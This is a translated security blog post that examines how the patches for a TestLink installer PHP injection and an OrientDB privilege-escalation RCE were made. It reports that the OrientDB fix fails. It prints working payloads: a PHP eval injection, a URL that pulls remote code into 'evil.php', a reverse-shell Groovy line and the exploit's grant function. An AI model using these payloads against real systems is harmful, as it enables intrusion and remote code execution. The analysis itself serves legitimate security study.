📜 ⬆️ ⬇️

Is it possible to enter the closed door, or how patches vulnerabilities

Dozens of CVEs are published every day in the world (according to company riskbasedsecurity.com, 20,832 CVEs were published in 2017). However, manufacturers have become more attentive and attentive to security reports, thanks to which the speed of closing bugs has increased significantly (according to our feelings).

It became interesting to us to look at several products and to understand what caused the vulnerabilities (we learn from the mistakes of others). And also how manufacturers fix them and whether they always get it (looking ahead - not always).



Selection criteria:


As in any well- controlled experiment, we have put a number of restrictions on the vulnerabilities considered:
')

What and how we chose:


We went to vulners.com (“Google” for Hackers) and asked to show all exploits from exploit-db.com over the past couple of weeks. So we found our first subject under test. Product TestLink Open Source Test Management is a web-based test management system written in PHP.
(CVE-2018-7466, score 8.3, RCE, published February 25, 2018 - everything we wanted).
We decided to search for the second test subject with score 10. And here we came across a vulnerability in OrientDB (CVE-2017-11467, score 10, RCE, published July 17, 2017, almost as we wanted). OrientDB is an open DBMS that combines the capabilities of a document-oriented and graph-oriented database (wiki) .

The selection process took us 15-20 minutes. For most of this time, we tried to understand what kind of product it is and whether it fits our criteria. It turns out, the choice can be called relatively random. We proceed to the consideration of our subjects.

TestLink Open Source Test Management (CVE-2018-7466):


We read the description of the exploit . We see that the version before 1.9.16 (inclusive) is vulnerable and that everything is fixed in version 1.9.17. Go to the manufacturer's website in the hope of downloading a new and old version. Here we are waited by the first surprising moment: on the manufacturer’s website there is only a vulnerable version. Searches on the Internet version 1.9.17 do not give results. We find the news that the new version will be in the first quarter of 2018. But there is a github project where you can get the latest version to understand how the developers fixed the problem.

We put TestLink, everything is simple. You need to install a bunch of Apache + PHP + Mysql and unzip the project folder to the Web server folder. After that, go to your Web-server, where we will be met by the installation wizard, which will inform us that the default user is admin with the password admin. When you first log in, we are not asked to change it, but this can be easily done in the user settings.

From the text of the exploit, we understand that the problem script is “/install/installDbInput.php”. It is located in the install folder, and we have already completed the installation, and it, in theory, should already be unavailable. However, if you try to contact her, it turns out that this is not the case. This behavior of the installer is very insecure, since anyone can rub all your records. Here I, of course, bend over a stick. In fact, it can indicate that you need to use the new Mysql server, but in the old everything will remain, and you can roll back to the working version.

In the text of the exploit, a string of the form is transmitted as the user name:

"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//" 

Obviously, we have an injection in the php-code. Let's see where it comes from. Go to the installDbInput.php script and see in the lines 62 through 69 save the user values. After, they are somehow used, and then in lines 489-498 are saved to a file.

 $cfg_file = "../config_db.inc.php". 

 // get db info from session //  62-69 $db_server = $_SESSION['databasehost']; $db_admin_name = $_SESSION['databaseloginname']; $db_admin_pass = $_SESSION['databaseloginpassword']; $db_name = $_SESSION['databasename']; $db_type = $_SESSION['databasetype']; $tl_db_login = $_SESSION['tl_loginname']; $tl_db_passwd = $_SESSION['tl_loginpassword']; $db_table_prefix = $_SESSION['tableprefix']; 

 // 489-498 $data['db_host']=$db_server; $data['db_login'] = $user_host[0]; $data['db_passwd'] = $tl_db_passwd; $data['db_name'] = $db_name; $data['db_type'] = $db_type; $data['db_table_prefix'] = $db_table_prefix; $cfg_file = "../config_db.inc.php"; $yy = write_config_db($cfg_file,$data); 

As it is not difficult to guess, the php-code, which we recorded in the file “config_db.inc.php”, is now easily accessible and can be executed (classic RCE into action).

Here is the code for config_db.inc.php after the exploit:

 // config_db.inc.php define('DB_TYPE', 'mysql'); define('DB_USER', 'box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//'); define('DB_PASS', '123'); define('DB_HOST', 'localhost'); define('DB_NAME', 'testlink'); define('DB_TABLE_PREFIX', ''); 

Fix from TestLink:


In the CVE description on nist.gov there is a link to a github commit that “closes” this vulnerability, reducing the possible login length to 32 characters (why only a login, although injection is possible in all fields, and why up to 32 remains a mystery to us) . We rubbed the little hands and decided to bypass the limit of 32 characters in the login (although it was possible to read the code more carefully and understand that we are already beating through the closed door).

In the original exploit there were 64 characters in the injection. Thinking how to reduce it, we decided to use the standard eval function and reduce the username to one letter. Here's what we got:

 b');eval($_GET['e']);// 

23 characters (if you can be shorter, then write in the comments, we are curious), use something like this:

 /config_db.inc.php?e=file_put_contents($_GET['filename'],file_get_contents($_GET['filedata']));&filename=evil.php&filedata=http://.../src.txt 

Having checked on the old version that our “exploit” code is working, we downloaded the new version from the git (there is still no official version), set it and were disappointed because our code did not work.

Why didn't our code work?


In the config_db.inc.php file, our code was entered in the form:

 define('DB_USER', 'bevalGETe'); 

That is, removed all the special characters. We look into the installNewDB.php code more closely and see that in lines 56-82 a “processing” of user input has been added:

 $san = '/[^A-Za-z0-9\-]/'; $db_name = trim($_SESSION['databasename']); $db_name = preg_replace($san,'',$db_name); 

That is, all characters other than letters, numbers, and the “-” character are deleted. And, accordingly, the exploit stops working. ATTENTION. Not only the exploit stops working, but the functionality itself. Since the preg_replace with the regular expression '/ [^ A-Za-z0-9 \ -] /' applies to all fields, it is no longer possible to define a remote host with a database. Since it is difficult to imagine a record in which there will not be a dot (both in the domain record and in the record of the ipv4 address) or a colon (no one has canceled the ipv6 address). It is also now easier to sort through passwords (they can contain only letters, numbers, and the “-” symbol).

Conclusions on TestLink and CVE-2018-7466:



Hosted by a note on TestLink and CVE-2018-7466:



OrientDB (CVE-2017-11467):


We read the description of the exploit . There again there is a link to github , where it is said that the vulnerability is fixed in version 2.2.23. So, for a start, we are interested in version 2.2.22 (which should be vulnerable).

Installation at this time is much easier. Developers give docker containers where everything is set up, and docker hub stores all versions. Therefore, we simply write:

 sudo docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:2.2.22 

and get a container with a vulnerable version of OrientDB. We copy the Python code of the exploit to ourselves and run it. However, the script drops with the words that we do not have a database (it is possible that it will still fall with the words that you are missing some Python package). We go to our local host on port 2480 and create a database. We start the exploit again, this time it will not work either, since the built-in payload (reverse shell) requires a bash, and in our container there is only sh.

For the test, we decided to write payload, which simply creates a file. It is clear that in real life everything can be done much more interesting.

For the payload is the variable query, which contains the code in the Groovy language. Change payload with

 def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute(); 

on

 def command = \'touch /orientdb/test.sh \';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/sh\\\\n\\");file << (command);def proc = \\"/bin/sh hello.sh\\".execute(); 

We start the exploit, and a test.sh file is created inside our container. Great, the exploit is working, the vulnerability is present.

We check that everything is closed.


Now we check that everyone successfully closed in version 2.2.23 (version dated July 11, 2017). We start the container with this version (we create the base), we launch the exploit and in the container we check the file. We do not believe our eyes: our test file is there. We check the product version (there is an “about” tab in the web interface) - everything is correct there, version 2.2.23. We restart the exploit with a different file name (test.sh is not the original name) - everything worked. We check the description of the exploit on nist.gov . There is a link that the vulnerability is closed in version 2.2.23.

Okay, let's look for the version where the vulnerability was closed. Very lucky that there are containers of all versions and a binary search algorithm. Stocking cookies and begin the search. We are launching the latest version - 2.2.33 (March 5, 2018) - without the hope that something will work on it. Check - works.

We look at the exploit code and see that the problem is a little less serious than initially thought: all requests are executed on behalf of the user “writer” with the password “writer”. In other words, the second holy rule is violated: built-in accounts are created with wired passwords. Even the giants suffer from this (recall the high-profile vulnerability of Oracle last year , where the gap was assigned to the embedded user OIMINTERNAL), which is to be expected from a small opensource product. Later it turned out that there is not only this account, but also admin: admin (my favorites) and reader / reader. At the same time, there is no place for everyone via the web-interface for 2 minutes, where they can be changed, and in the official documentation there is no information that this should be done.

The problem is that when creating a database, these users are automatically added to it. Even if it were not possible to execute the code, viewing the data (and their modification) can be a problem for the owner of the resource using OrientDB and its users.

Why not closed?


We look at the commit in which we had to close this vulnerability. OCommandExecutorSQLSelect.java file has been added to check that the user has read permission in the “database.systemclusters” role, which should solve the problem of changing permissions. Raising the container version 2.2.23 again, logging in as user writer and going to the Security tab, we see an access error message:

 com.orientechnologies.orient.core.exception.OSecurityAccessException: User 'writer' does not have permission to execute the operation 'Read' against the resource: ResourceGeneric [name=SYSTEM_CLUSTER, legacyName=database.systemclusters].null DB name="test23" 

This means that the user can not view their rights. In version 2.2.22 there was no such error and the user could easily watch and change his rights.

Pay attention to the file name: OcommandExecutorSQLSelect.java. In it is the keyword Select. We look in the folder on the gita and see that for each SQL command, there is a class, and the last change just belongs to the class OCommandExecutorSQLSelect.java (9 months ago).

The exploit code has the priv_escalation function

 def priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): databases = enum_databases(target) print databases priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return False, 

which performs the operations "Grant" to the roles database.class.ouser, database.function, database.systemclusters (they are given full rights to "create", "read", "update", "execute", "delete").

The OCommandExecutorSQLGrant.java class does not take into account the changes that occurred in the OcommandExecutorSQLSelect.java class, and that calls can be made directly to the API (and not poked in the Web interface). It turns out that it is possible to give yourself the rights necessary to run Groovy code, which can be executed in the context of the operating system, which is what happens in the exploit.

There is a violation of the third holy rule: closing the vulnerability in the displayed results, and not in the API, to which the user also has access.

Conclusions on OrientDB and CVE-2017-11467:




Hosted by a note on OrientDB and CVE-2017-11467:



Conclusion:


The topic of closing vulnerabilities was much more interesting than we initially thought. Randomly selected two vulnerabilities demonstrated that they close strangely and poorly. In the future, we will continue to look at what is happening with the closure of vulnerabilities. Write in the commentary what strange “closed” vulnerabilities you have observed.

Source: https://habr.com/ru/post/353108/


All Articles